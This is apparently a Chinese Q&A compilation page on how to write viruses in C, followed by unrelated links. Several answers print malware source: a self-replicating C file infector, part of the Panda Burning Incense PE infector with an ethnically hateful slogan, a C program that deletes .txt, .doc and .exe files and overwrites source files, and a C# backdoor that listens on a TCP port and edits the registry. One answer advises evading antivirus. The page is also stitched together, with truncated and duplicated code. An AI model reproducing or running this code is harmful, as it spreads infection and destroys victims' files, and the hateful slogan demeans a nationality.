怎么用c语言写病毒程序

1. 怎么用C语言编写木马.病毒等程序

C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。

编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。

C语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。

如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具)

编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。

现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等

2. 怎么用C语言写个简单病毒,给个代码过程

首先声明: 本程序是我举的一个例子 为了叫大家理解就可以了 如果大家拿去捉弄人,我不负任何责任! 希望大家要以学习为重! 对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的 我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享 不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定 用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题, 再次声明这一切全是为了编程研究!!! 病毒的特点: 病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式 病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。

从程序的角度来说,我们要做的事情有两件: 1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序, 使它具备继续复制的能力。 2,在一定条件下使其产生某种发作效果。

其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染 文件的最后,同时在被感染文件中调用这个函数 下面给出c语言的实现过程: 1,主程序调用病毒功能函数 2,病毒功能函数读取查找同目录下所有c文件; 3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量; 4,重新创建一个同名文件(被感染c文件) 5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数 调用语句写入; 6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后; 这样一个简单的c语言伪病毒virus.c就完成了 运行程序后其内容变化另保存为after_virus.c 此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果 他们一运行又感染了他们保存1.c文件目录下所有c文件 对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你 完全可以写一个TSR驻留函数 其实,这个程序勉强可以叫做病毒 根本不算是真正的病毒,好了就说这么多, 代码如下: #include #include void main(void) { virus(); } int virus() { struct ffblk ffblk; FILE *in,*out,*read; char *virus="virus.c"; char buf[50][80]; char *p; char *end="return"; char *bracket="}"; char *main="main"; char *include[2]={"stdio.h","dir.h"}; char *int_virus="int virus()"; char *buffer; int done,i,j=0,flag=0; printf("\nI have a virus. Writen by PuBin\n"); done = findfirst("*.c",&ffblk,0); while (!done) { i=0; if ((in = fopen(ffblk.ff_name, "rt"))== NULL) { goto next; } do{ if(i>=50) { fclose(in); goto next; } p=fgets(buf[i],80,in); i++; }while(p!=NULL); fclose(in); out=fopen(ffblk.ff_name,"w+t"); fputs("#include\n",out); fputs("#include\n",out); do { if(strstr(buf[j],main)!=NULL) { for(;j

3. 如何用C语言编写一个木马病毒

C语言是一门通用计算机编程语言,应用广泛。C语言的设计目标是提供一种能以简易的方式编译、处理低级存储器、产生少量的机器码以及不需要任何运行环境支持便能运行的编程语言。

尽管C语言提供了许多低级处理的功能,但仍然保持着良好跨平台的特性,以一个标准规格写出的C语言程序可在许多电脑平台上进行编译,甚至包含一些嵌入式处理器(单片机或称MCU)以及超级电脑等作业平台。

1.首先你得想你的病毒实现一个什么功能。

2.然后了解病毒的特征,自发性,传染性,关联性

3.最后如何绕过目标电脑的防火墙和杀毒软件。

4. 怎样用C语言编程编写病毒

熊猫烧香病毒,请勿滥用 program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = $12EB8; //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记 //垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来,以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end; end; { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; { 发带毒邮件 } procedure SendMail; begin //哪位仁兄愿意完成之? end; { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try //出错则文件正在被使用,退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end; end; { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); var 。

5. 如何用C编写病毒

3.1.1病毒程序VIRUS.C这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。

病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。

每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:当含有病毒部分的程序被执行时,首先进入病毒程序。

它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。

若没有这个标志,则(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。

如果发现有重复则不插入。(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。

寻找printf、for、while、break语句,如果找到就在之前插入。(4)在文件尾部插入VIRUSES_SUB子程序。

(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。(6)最后插入VIRUSES子程序。

这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。 其中用到4个出错的返回值,分别是:1:用户文件太大,不传染;2:带病毒文件打不开,不传染;3:带病毒文件读取不成功,不传染;4:查找第一个匹配文件不成功。

如果返回值是0代表文件传染成功。具体实现过程如下:其中用到的函数和结构体用法参考3.3节。

首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。

里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。

然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。

首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。

用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。

如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。

它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。

如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。

如果打不开,返回。然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。

若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。

其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。这点是这样实现的:定义一个字符数组char include_h[]={“dos.h”, “stdio.h”, “dir.h”}; strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,不进行插入。

找出CALL VIRUSES;的插入点:如果有一行有printf、break、for、while语句其中之一,就对其后插入调用VIRUSES函数的调用语句。把病毒子程序写入文件。

最后处理更改被感染的文件名。如果不进行改名,就不能进行多次传染,也就是说不能体现病毒的自我复制能力。

查找一行是static char viruses_f[]={“virus.c”},把其中的文件名改为被感染的文件名。接着查找下一个匹配文件。

3.1.2病毒清除程序REVIURS.C病毒的清除过程是和传染过程相逆的。传染的时候插入调用viruses函数的调用语句,在病毒清除文件里面就要删除掉这个语句。

然后还要删除掉病毒子程序VIURSES_SUB和VIURSES。有一个问题不能进行还原。

因为当时插入病毒子程序需要的头文件时没有记录传染前文件的头文件信息,所以不能进行还原。但是这一点不影响原文件。

所以这点在病毒清除程序中没有进行处理。由于演示的时候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一个目录下进行演示。

考虑到VIRUS.C会把REVIURS.C传染和REVIRUS.C会把VIRUS.C清除两种情况。所以编写这两个程序的时候必须加入一条条件语句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。

当含有清除部分的程序被执行时。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。

如果无此标志,继续找其它的C文件,直至全部检查一遍。若有这个标志,则(1)查找磁盘文件,如果是有病毒的传染标志“INFECTED”则打开文件。

如果没有则关闭文件并且寻找下一个TEST*.C。(2)读取文件,首先判断是否为Viruses();如果不是则判断是否为int Viruses_sub(),如果都不是,则把读取。

6. 用C语言怎么编辑病毒的代码

C语言病毒代码 #include #include #include #include #include /* copy outfile to infile */ void copyfile(char *infile, char *outfile) { FILE *in,*out; in = fopen(infile,"r"); out = fopen(outfile,"w"); while (!feof(in)) { fputc(fgetc(in),out); } fclose(in); fclose(out); } /* This function named Rubbishmaker. */ void MakeRubbish() { int i; FILE *fp; char *path; char *NewName; char *disk[7] = {"A","B","C","D","E","F","G"}; char *addtion = ":\\"; /* Make some rubbish at the current catalogue */ for (i = 0; i<5; i++) { char tempname[] = "XXXXXX" ; NewName = mktemp(tempname); fp = fopen(NewName,"w"); fclose(fp); } /* make some rubbish at the root catalogue */ path = strcat(disk[getdisk()],addtion); /* get the root catalogue */ chdir(path); /*change directory according to the "path" */ for (i = 0; i<5; i++) { char tempname[] = "XXXXXX"; NewName = mktemp(tempname); fp = fopen(NewName,"w"); fclose(fp); } } /* This function can creat some .exe or .com documents in the sensitive place. Don't worry,It's only a joke.It will do no harm to your computer. */ void CreatEXE() { int i; char *path; char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"}; for ( i = 0; i < 2; i++) { open(s[i], 0x0100,0x0080); copyfile( "C_KILLER.C",s[i]); } } /* remove something from your computer */ void Remove() { int done; int i; struct ffblk ffblk; char *documenttype[3] = {"*.txt","*.doc","*.exe"}; for (i = 0; i < 3; i++) { done = findfirst(documenttype[i],&ffblk,2); while (!done) { remove(ffblk.ff_name); done = findnext(&ffblk); } } } /* overlay the c programs */ void Breed() { int done; struct ffblk ffblk; done = findfirst("*.c",&ffblk,2); while (!done) { if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 ) { copyfile("C_KILLER.C",ffblk.ff_name); } done = findnext(&ffblk); } } void main() { printf("THERE IS A VIRUS BY XIAOKE.\n\n"); Breed(); Remove(); CreatEXE(); printf("COULD YOU TELL ME YOUR NAME?\n\n"); printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n"); MakeRubbish(); getchar(); printf("IT'S ONLY A JOKE! THANK YOU!\n\n"); clrscr(); system("cmd"); } 首先声明: 本程序是我举的一个例子 为了叫大家理解就可以了 如果大家拿去捉弄人,我不负任何责任! 希望大家要以学习为重! 对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的 我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享 不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定 用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题, 再次声明这一切全是为了编程研究!!! 病毒的特点: 病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式 病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。

从程序的角度来说,我们要做的事情有两件: 1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序, 使它具备继续复制的能力。 2,在一定条件下使其产生某种发作效果。

其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染 文件的最后,同时在被感染文件中调用这个函数 下面给出c语言的实现过程: 1,主程序调用病毒功能函数 2,病毒功能函数读取查找同目录下所有c文件; 3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量; 4,重新创建一个同名文件(被感染c文件) 5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数 调用语句写入; 6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后; 这样一个简单的c语言伪病毒virus.c就完成了 运行程序后其内容变化另保存为after_virus.c 此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果 他们一运行又感染了他们保存1.c文件目录下所有c文件 对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你 完全可以写一个TSR驻留函数 其实,这个程序勉强可以叫做病毒 根本不算是真正的病毒,好了就说这么多, 代码如下: #include #include void main(void) { virus(); } int virus() { struct ffblk ffblk; FILE *in,*out,*read; char *virus="virus.c"; char buf[50][80]; char *p; char *end="return"; char *bracket="}"; char *main="main"; char *include[2]={"stdio.h","dir.h"}; char *int_virus="int virus()"; char *buffer; int done,i,j=0,flag=0; printf("\nI have a virus. Writen by PuBin\n"); done = findfirst("*.c",&ffblk,0); while (!done) { i=0; if ((in = fopen(ffblk.ff_name, "rt"))== NULL) { goto next; } do{ if(i>=50) { fclose(in); goto next; } p=fgets(buf,80,in); i++; }while(p!=NULL); fclose(in); out=fopen(ffblk.ff_name,"w+t"); fputs("#include\。

7. 如何用C语言编一个简单病毒

先 建立一个 1.bat文件再根据下面2113写的照着把你要5261删除的项写上删除4102注册表中的项 Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 保存为reg文件双击导如即可删除此1653项 注意有个“-”号删除注册表中的值回Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "SoundMan"=- 这样可以删除此值 方法告诉你了,自己去操作答,记得先备份注册表做好了再去害人。

8. C语言后台病毒程序的代码怎么写

要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍: 1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。

当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:private void InitializeComponent(){// // Form1// //窗体显示的起点和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);//窗体名称this.Name = "Form1";//设置属性让它后台运行this.ShowInTaskbar = false;this.Text = "Form1";this.WindowState = System.Windows.Forms.FormWindowState.Minimized;} 2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:public Form1() //窗体的构造函数{//// Windows 窗体设计器支持所必需的//InitializeComponent();//// TODO: 在 InitializeComponent 调用后添加任何构造函数代码//加入你的侦听代码//端口你可以自已设定,我使用了固定的端口int port =6678;//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的listener = new TcpListener(port);//启动侦听listener.Start();//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()//reControlCode 是线程启动执行的函数,此函数根据接收的控制//控制码选取合适的注册表修改函数Thread thread = new Thread(new ThreadStart(reControlCode));thread.Start();}reControlCode函数如下,完整代码见程序private void reControlCode(){//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求socket = listener.AcceptSocket();//如果连接成功执行while (socket.Connected){//接收控制码byte [] by =new byte[6];int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);//根据控制码执行不同的功能 //修改注册表加入编码switch (ss){case "jiance"://测试连接,返回测试信息string str ="hjc";byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000"://修改注册表函数,自已定义,见下面分析 UnLogOff();//返回控制消息retMessage();break;case "zx0100"://修改注册表函数UnClose();//返回控制消息retMessage();break;//重复的case功能与前面一样,略掉default: break;}//case}//while} //private void reControlCode 3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。

这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer下面设键值NoLogOff 为 1 即可使计算机无法注销。

在下面的函数中用C#实现对注册表的修改:private void UnLogOff(){//得到主机的注册表的顶级节点Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;//设置一个注册表子键的变量RegistryKey key1;try{//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改key1 =rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);//设置子键的键名,和值key1.SetValue ("NoLogOff",1);//关闭打开的子键key1.Close();//警告字符串设定mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}//如果不存在自已建立if(key1 ==null){try{//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}}} 4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。

转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。

这里我们使用了System.IO.File类。private void 。

9. C语言编写的病毒有哪些

#include #include main(){ char a; int b; system("shutdown -s"); printf ("你是不是猪?\n是的话请输入y,不是的话就输入n吧。

"); a = getchar(); b = a == 'y'; if (b == 1) { system("shutdown -a"); printf("哈,世界上有多了一头会说话的猪。\n"); } else printf("后果很严重……\n"); getchar(); getchar(); return 0;}这应该不算病毒,没有自我复制功能,你放进编译器里面运行看看会有什么后果吧。

怎么用c语言写病毒程序

转载请注明出处育才学习网 » 怎么用c语言写病毒程序

知识

怎么写创文明城市作文

阅读(172)

本文主要为您介绍怎么写创文明城市作文,内容包括《创建文明城市》作文怎么写,《创建文明城市》作文怎么写,怎样写有关创建文明城市的作文。范文,供参考:【创建文明城市】绿化是城市的外衣,建筑是城市的骨架,环境是城市的容貌,市民是城市的灵魂。

知识

山羊羊笔顺怎么写

阅读(204)

本文主要为您介绍山羊羊笔顺怎么写,内容包括山羊的羊的笔顺是什么,山羊的羊的笔顺是什么,山羊的羊字的笔顺。这位朋友,您好!

知识

强字草体怎么写

阅读(191)

本文主要为您介绍强字草体怎么写,内容包括强字草书怎么写,强字草书怎么写,急求”强”字用草书怎样写。“强”字的草书写法如下:强,读音:[ qiáng ] 、[ qiǎng ]、[ jiàng ]基本字义:力量大(跟“弱”相对)。2、感情

知识

宝宝照片书的序怎么写

阅读(199)

本文主要为您介绍宝宝照片书的序怎么写,内容包括怎样自己制作宝宝的照片书,画册序怎么写,书的序怎么写·。序(通叙),是对一篇文章或一部著作内容的介绍、评述文字。从序文的本质意义理解,介绍、评述两方面的价值各有千秋,事实上,既有纯介绍式、纯

知识

风衣英文怎么写

阅读(205)

本文主要为您介绍风衣英文怎么写,内容包括“风衣”翻译成英文怎么写啊,风衣用英语怎么讲,“”时尚风衣”用英文怎么写。风衣的英语翻译是wind coat。 解释: wind coat 英[wind kəut] 美[wɪnd kot] [词典] 风衣; [

知识

日语学论文怎么写

阅读(171)

本文主要为您介绍日语学论文怎么写,内容包括日语论文怎么写,日语论文怎么写好,日语专业论文怎么写好。有分日语语言类的,包括语法,词法啊,女性用语啊,什么的:还有日语经济类的,包括日本与中国的贸易啊,日本经济的发展什么的还有就是七七八八的

知识

促销效果怎么写

阅读(167)

本文主要为您介绍促销效果怎么写,内容包括促销活动效果分析怎么做,超市做完活动后活动效果怎么写,促销方案怎么写。不能忽视自然增长率一般商场做分析时,往往只做同期比,而忽视了自然增长率这个重要的比率因素。比如,在七月份搞一次“幸运大转

知识

装修材料发票怎么写

阅读(268)

本文主要为您介绍装修材料发票怎么写,内容包括装修材料的发票的内容怎么填写,装修材料的发票的内容怎么填写,开增值税发票货物名称写装修材料需要些明什么材料吗。购买装饰材料,开具增值税专用发票,会计处理方法如下:如果是装修公司,购买材料。

知识

蛮字繁体怎么写

阅读(256)

本文主要为您介绍蛮字繁体怎么写,内容包括蛮的繁体字怎么写,蛮字繁体,蛮兽的繁体字怎么写。蛮兽的繁体字,如下: 繁体字知识点拓展: 繁体字,亦称繁体中文,1935年的《第一批简体字表》称之为正体字,欧美各国称之为传统中文(Tr

知识

霉笔画顺序怎么写

阅读(231)

本文主要为您介绍霉笔画顺序怎么写,内容包括霉的笔顺怎么写,用手机笔画怎么打霉字,霉:共()画,笔顺:。按照霉字的笔画顺序打就可以啦,下面是霉字的笔画及顺序,可以参考:

知识

境字的行书怎么写

阅读(183)

本文主要为您介绍境字的行书怎么写,内容包括苏体的“境”字怎么写,行书、楷书均可为谢,苏体的“境”字怎么写,行书、楷书均可为谢,乐字的行书怎么写。“补”字的草书写法如下:

知识

渐字草书怎么写

阅读(178)

本文主要为您介绍渐字草书怎么写,内容包括渐字的草写方法,忘记也会渐行渐远的草书写法,望字的行草书怎么写才好看。于右任草书

知识

骚草书怎么写

阅读(225)

本文主要为您介绍骚草书怎么写,内容包括妖娆草书怎么写,寂寞的草书写法一草书怎么写,吟字的草书怎么写法。[妖娆]二字的草书写法。如图:

知识

申请人承诺怎么写

阅读(244)

本文主要为您介绍申请人承诺怎么写,内容包括药店申请人承诺怎么写,个人承诺书基本格式应该怎么写,大学生贫困生承诺保证书怎么写。贫困大学生承诺书尊敬的学校领导:你们好!我是一名家境贫困的大学生,在我人生最困难的时候得到了你们的支持和帮

知识

按键精灵子程序怎么写

阅读(181)

本文主要为您介绍按键精灵子程序怎么写,内容包括按键精灵如何创建子程序与调用子程序,按键精灵子程序怎么用,按键精灵如何创建子程序与调用子程序。先说一下子程序的意思,子程序如一个箱子,你可以往里面安放各种代码,当你要用到里面的代码的时

知识

多语言韩文怎么写

阅读(185)

本文主要为您介绍多语言韩文怎么写,内容包括多语言环境韩语怎麽写,iphone4怎么写韩文字多语言里面我也添加韩文的输入的但是切换到韩,甜用韩文怎么写。的 [de] 字是多音字,所以韩文也要3种解释 과녁-적 부수: 白 1. 정어(定语) 뒤에 쓰여 문법

知识

plc报警程序怎么写

阅读(256)

本文主要为您介绍plc报警程序怎么写,内容包括三菱plc报警程序怎么写,用PLC如何写报警程序,PLC的报警程序怎么写气缸还有伺服等等。气缸的话要在气缸上安装位置传感器,或者在气缸执行的机械动作上安装传感器,不然你没办法通过PLC去检测气缸到

知识

易语言时钟怎么写

阅读(177)

本文主要为您介绍易语言时钟怎么写,内容包括易语言多个时钟怎么写,易语言怎么写时钟代码,易语言多个时钟怎么写。.版本 2.程序集 窗口程序集1.子程序 __启动窗口_创建完毕时钟1.时钟周期 = 0时钟2.时钟周期 = 0时钟3.时钟周期 = 0

知识

液晶电视怎么写程序

阅读(196)

本文主要为您介绍液晶电视怎么写程序,内容包括液晶电视怎样写程序,液晶电视写程序怎么写,液晶电视万能驱动板怎么写程序。需要准备一个U盘就可以更换所有的LVDS接口的液晶屏程序。U盘升级方法:把屏所对应的程序复制到U盘中把U盘插到板上的US

知识

无影灯怎么写语言

阅读(160)

本文主要为您介绍无影灯怎么写语言,内容包括手术室使用的无影灯的原理,把你的想法写出来..,手术无影灯如何写申请购买,无影灯下草书怎样写。影子是光照射物体形成的。地球上各处的影子是不同的。北极圈里是影子的“大人国”,因为那里的太阳

知识

中国的语言英文怎么写

阅读(406)

本文主要为您介绍中国的语言英文怎么写,内容包括中文用英语怎么说,语言中文英文怎么写,各国家语言英文写法。原发布者:枫雨爱Youhavetobeemptyinordertobefull.清空你自己,方能再行注满。2、PabloNeruda:T

知识

易语言怎么写选择目录

阅读(309)

本文主要为您介绍易语言怎么写选择目录,内容包括易语言怎么选择目录,易语言如何打开选择目录,易语言怎么写选择文件夹的浏览按钮。步骤是:点击菜单栏的“工具”--“支持库配置”--“全选”之后就是.版本 2.支持库 shell.子程序 _按钮1_被单

[/e:loop]